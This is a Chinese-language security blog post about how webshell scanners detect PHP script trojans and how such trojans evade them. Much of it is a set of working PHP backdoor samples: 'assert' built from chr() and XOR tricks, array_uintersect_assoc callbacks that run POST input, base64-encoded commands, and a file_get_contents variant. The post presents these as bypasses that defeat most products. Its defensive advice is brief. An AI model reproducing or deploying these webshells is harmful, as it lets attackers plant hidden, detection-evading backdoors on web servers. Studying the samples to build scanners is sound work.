腳本木馬查殺原理的簡單探討
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,一葉知安以及文章作者不為此承擔任何責任。
一葉知安擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經一葉知安允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
本文主要從防禦、技術研究角度出發
網站又被掛馬了?我怎麼不知道!資料庫怎麼被脫了!啥時候的事情?
0x00 前言
先來介紹什麼是腳本語言:
腳本語言又被稱為擴建的語言,或者動態語言,是一種編程語言,用來控制軟體應用程序,腳本通常以文本保存,只在被調用時進行解釋或編譯。—— 來源:百度百科
那麼由此可以看出,我們的每個腳本文件,都是被經過一個叫「腳本解釋器」的一個東西去解釋、編譯,然後將二進位傳遞給CPU。
在我們互聯網中的超文本標記語言出現以後,隨之就出現了為Web伺服器而設計的腳本語言。現在常見的都有:php、asp、aspx……
腳本解釋器與腳本語言之間的關係我們可以用一張圖來表示:
那麼經過腳本解釋器的處理以後,我們最終得到的結果就是leafsec。如果腳本里是一個數學表達式,或者其他代碼,同樣會被腳本解釋器去進行運算,最終給出結果。這裡的腳本解釋器就相當於一個計算器,你是一個小會計(伺服器),老闆(用戶)問你100+200等於多少你用計算器算出來結果,然後組織語言(腳本語言處理的結果,一般是HTML)告訴老闆。0x01 分析
平常我們經常會遇到這類的腳本木馬:
那麼它的運行過程是什麼呢?
當腳本解釋器遇到需要再次調用腳本解釋器的指令才會去再次調用。可以通俗的講:腳本中如果有類似於eval這類的表達式,才會再次調用腳本解釋器去處理表達式傳遞的參數。如果我們將參數指向用戶可控範圍,那麼損失是不可估量的。這有可能構造了一個任意代碼執行的漏洞。
下面分析一下解釋器:
為了方便理解,我們將上述解析過程中的解釋器分割為兩塊:
動態解釋器負責從用戶輸入的內容中讀取代碼去解釋、運算。例如PHP中用戶可控的變數:$_COOKIE、$_POST、$_GET……
靜態解釋器負責從伺服器上讀取腳本文件內容進行解釋,如果遇到需要調用動態腳本解釋器的時候則調用動態解釋器。例如遇到:assert、eval等關鍵字。
0x02 大多腳本查殺產品的原理
很多產品的腳本木馬查殺技術都很相似,基本上是從兩個地方查殺。
1.網路請求內容
假設1.php是一個腳本木馬,我們輸入的字元都將會被當作腳本執行,如果請求參數的值中存在某些危險函數、或者關鍵字,那麼會被防護產品攔截,並且查殺文件。
在網路這塊我們可以採用編碼、加密傳輸指令。這樣就不會被防護軟體檢測到。
例如:
傳遞的時候直接將代碼加密即可:
g=cHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnc2gucGhwJykpOw==n
2.文件內容
上面已經給出了一個文件免殺的代碼,可以看出我們進行了一個字元串拼接,然後調用了assert這個函數,將可控變數傳遞進去,就構造好了一個後門。
這裡的「cGhwaW5mbygpOw==」 是 「phpinfo();」的base64編碼結果。如此一來我們的木馬就可以逃避網路請求內容匹配。
說道文件內容的查殺,一般都是採用正則表達式,它的效率是很高的,效果也不錯,但是遇到奇葩的文件、或者匹配不到的對象,查殺軟體都會把查殺目標當作正常文件。
當匹配到目標中存在可疑的內容、或者關鍵字的時候,會進行報警、隔離等操作。
我們來分析一下查殺軟體與免殺之間的關係:
這裡的安全區域指的是我們平常正常運行的項目或者代碼,並且基本的查殺軟體都可以查殺到,但是能夠被執行的代碼區域是比安全區域大很多的,這就意味著沒有絕對的安全,攻擊與防禦是相對的。早期的這類產品並沒有預測性,不會去主動搜集攻擊行為、可疑樣本。
上述情況也就衍生出了BypassCode,能夠在安全區域以外、正常區域以內運行的惡意代碼,都是bypass的。
貼出三四個來看看:
<?phpnt$_="s"."se";nt$_= chr((97 ^ 1)+1).$_."r".t;nt$pp = $_;nt$pp(base64_decode($_REQUEST[g]));nt?>nnt<?php //array_uintersect_assoc leafsec Teamnt$a1=array($_POST[admin]); nt$result=array_uintersect_assoc($a1,array(""),"assert"); ntprint_r($result); nt?>nt<?phpnt$___Ss = chr((97 ^ 1)+1); //[a]nt$___Ss .=chr((115 ^ 1)+1); //[s]nt$___Ss .=chr((115 ^ 1)+1); //[s]nt$___Ss .=chr((101 ^ 1)+1); //[e]nt$___Ss .=chr((114 ^ 0)); //[r]nt$___Ss .=chr((116 ^ 0)); //[t]nt$___Ss($_POST[usernamme]);nt?>nt<?phpntif(isset($_POST[filename])){nt $function = file_get_contents($_POST[filename]);nt $function($_POST[username]);nt}nt?>n/*narray_udiff_assoc()narray_udiff_uassoc()narray_intersect_assoc()narray_intersect_uassoc()narray_uintersect()narray_uintersect_uassoc()narray_uintersect_uassoc()n*/n<?phpn//array_uintersect_assocn$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,array(""),"assert");nprint_r($result);n?>n<?phpn//array_intersect_assoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_intersect_uassoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_uintersect()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_uintersect_assoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_uintersect_uassoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n<?phpn//array_uintersect_uassoc()n$a1=array($_POST[admin]);n$result=array_uintersect_assoc($a1,$a1,"assert");nprint_r($result);n?>n
0x03 更加有意思
上面0x02中說的情況無非就是安全產品在腳本安全這個領域的痛點,無法預測未來的情況。
看看下面的代碼,也是可以體現出一個痛點:
<?phpnif(isset($_POST[filename])){n $function = file_get_contents($_POST[filename]);n $function($_POST[username]);n}n?>n
這個是不是很像遠程文件讀取?
如果遠程文件包含用不了,我們就可以用這個方法取巧。
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.n; http://php.net/allow-url-fopennallow_url_fopen = Onnn; Whether to allow include/require to open URLs (like http:// or ftp://) as files.n; http://php.net/allow-url-includenallow_url_include = Offn
好像……把讀取過來的內容當作函數運行了?
和我們以前經常用到的include姿勢差不多吧,但是這個方法很是厲害,為什麼這麼說呢?
目前的查殺產品或者說是防護產品,大多無法去讀取解釋器的緩衝區(就我目前接觸的,沒有一個),這就造成了文件讀取過來後都是放在伺服器內存的,防護產品如果能做到這一點,確實是一個亮點,但是做出來後也要考慮對伺服器資源開銷情況。
圖示:
用戶可控的範圍可以指向函數的空間,並且可以傳遞任意參數,而且這個再加幾層編碼,幾乎可以繞過N多產品了!!
改版一下玩玩:
<?phpnif(isset($_POST[filename])){n $function = file_get_contents($_POST[filename]);n $function(base64_decode($_POST[username]));n}n
我們看看伺服器上的配置:
0x04 總結
說了這麼多,我們可以做一個總結了,目前的腳本可變性太高了,查殺軟體無法預測將來的版本,同樣的也不能給出解決方案。
"越靈活越不安全",站點被黑不能讓防護軟體的開發商來背鍋,真正該背鍋的還是程序員……在這我不是黑程序員哈,其實我也是程序員,我寫的代碼有時候都可能有疏忽,所以一個好的編碼習慣很重要,如果不是代碼層面的問題,那麼就是運維的鍋了,哈哈。運維哥哥看完文章別打我,其實我也是運維。。
防護建議:提高開發人員對安全的重視程度,制定編碼規範,統一全局防護。
至於安全從業人員如果想從這篇文章學習「姿勢」的話我就不總結了,因為我們國家的網路安全法馬上就要實行了,大家交流技術一定要以防禦角度去交流,我們是好人。
到文末了呢,傾旋在這代表一葉知安團隊祝大家端午節快樂了!! (餓死,去吃飯了。)
如果想了解漏洞平台就戳進去。
2017/05/28 寫。
推薦閱讀:
※2017年度最不安全密碼報告出爐,你中了幾個?
※如何學習滲透技術?
※NO.21 波折的十二月-年終總結
※踏雪無痕——對新型無文件後門 JS_POWMET 的簡單分析
※(信息安全)世界技術巨頭與政府之間的較量